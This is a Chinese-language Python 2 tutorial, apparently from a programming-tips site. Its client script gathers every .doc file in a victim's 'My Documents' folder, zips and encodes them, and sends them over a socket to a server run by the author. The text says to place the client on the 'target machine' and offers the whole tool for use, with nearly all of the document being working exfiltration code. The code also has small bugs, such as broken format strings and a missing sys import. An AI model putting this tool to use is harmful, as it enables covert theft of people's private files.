本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:
该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密 
2、用zip压缩 
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可 
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件
服务器端程序:
 代码如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base
def main():
 HOST = '127.0.0.1'
 PORT = 2000
 BUF_SIZE = 6553500 #6M
 key = 'ouyang'
 timeout = 5
 dicName = "ouyang\\"
 ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 ss.bind((HOST,PORT))
 ss.listen(5)
 print "wating for conntecting..."
 while True:
 try:
 cs,addr = ss.accept()
 socket.setdefaulttimeout(timeout)
 cs.send("200 Connected!")
 #获取加密数据
 encode_data = cs.recv(BUF_SIZE)
 #把数据写到out.zip文件
 tmpfile = open('out.tmp','wb')
 try:
 tmpfile.write(encode_data)
 tmpfile.close()
 except IOError,e:
 print 'Strange error creating IOError:%s' % e 
 tmpfile.close()
 finally:
 tmpfile.close()
 #base decode 2进制 解密 decode(infile,outfile)
 tmpfile = open('out.tmp','rb')
 outfile = open('out.zip','wb')
 base.decode(tmpfile,outfile)
 tmpfile.close()
 outfile.close()
 #打开zip文件
 zfile = zipfile.ZipFile('out.zip','r')
 #创建一个文件夹来存放获取的zip文件
 if not os.path.exists(dicName):
 os.mkdir(dicName)
 for f in zfile.namelist():
 data = zfile.read(f)
 file = open(dicName+os.path.basename(f),'w+b')
 file.write(data)
 file.close()
 print "finished!!!"
 zfile.close()
 #后续处理 删除临时文件
 os.remove('out.tmp')
 cs.close()
 except socket.error, e: 
 print 'Strange error creating socket:%s' % e 
 cs.close()
 ss.close()
 except socket.error, e:
 print 'Strange error creating socket:%s' % e 
 ss.close()
if __name__=='__main__':
 main()
客户端程序:
 代码如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base
def walk_dir(dir,filelist,extName,topdown=True):
 for root, dirs, files in os.walk(dir, topdown):
 for name in files:
 if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
 filelist.append(os.path.join(root,name)) 
 for name in dirs:
 if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
 filelist.append(os.path.join(root,name))
def main(): 
 HOST = '127.0.0.1'
 PORT = 2000
 BUF_SIZE = 65535
 key = 'ouyang'
 dicName = "C:\Documents and Settings\Administrator\我的文档"
 extName = '.doc'
 #遍历搜索我的文档的doc类型
 try:
 filelist = []
 walk_dir(dicName,filelist,extName)
 except IOError,e:
 print "文件处理错误: " % e
 sys.exit(-1)
 cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 try:
 cs.connect((HOST,PORT))
 print cs.recv(BUF_SIZE)
 #压缩成zip文件
 zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
 for f in filelist:
 zfile.write(f)
 zfile.close()
 #base 2进制 加密 encode(infile,outfile)
 infile = open('in.zip','rb')
 tmpfile = open('in.tmp','wb')
 base.encode(infile,tmpfile)
 infile.close()
 tmpfile.close()
 #send
 tmpfile = open('in.tmp','rb')
 cs.send(tmpfile.read())
 tmpfile.close()
 #后续处理 删除中间文件
 os.remove('in.tmp')
 cs.close()
 except socket.error ,e:
 print 'socket 出错啦:' % e
 cs.close()
if __name__=='__main__':
 main()
希望本文所述对大家的Python程序设计有所帮助。 
下载本文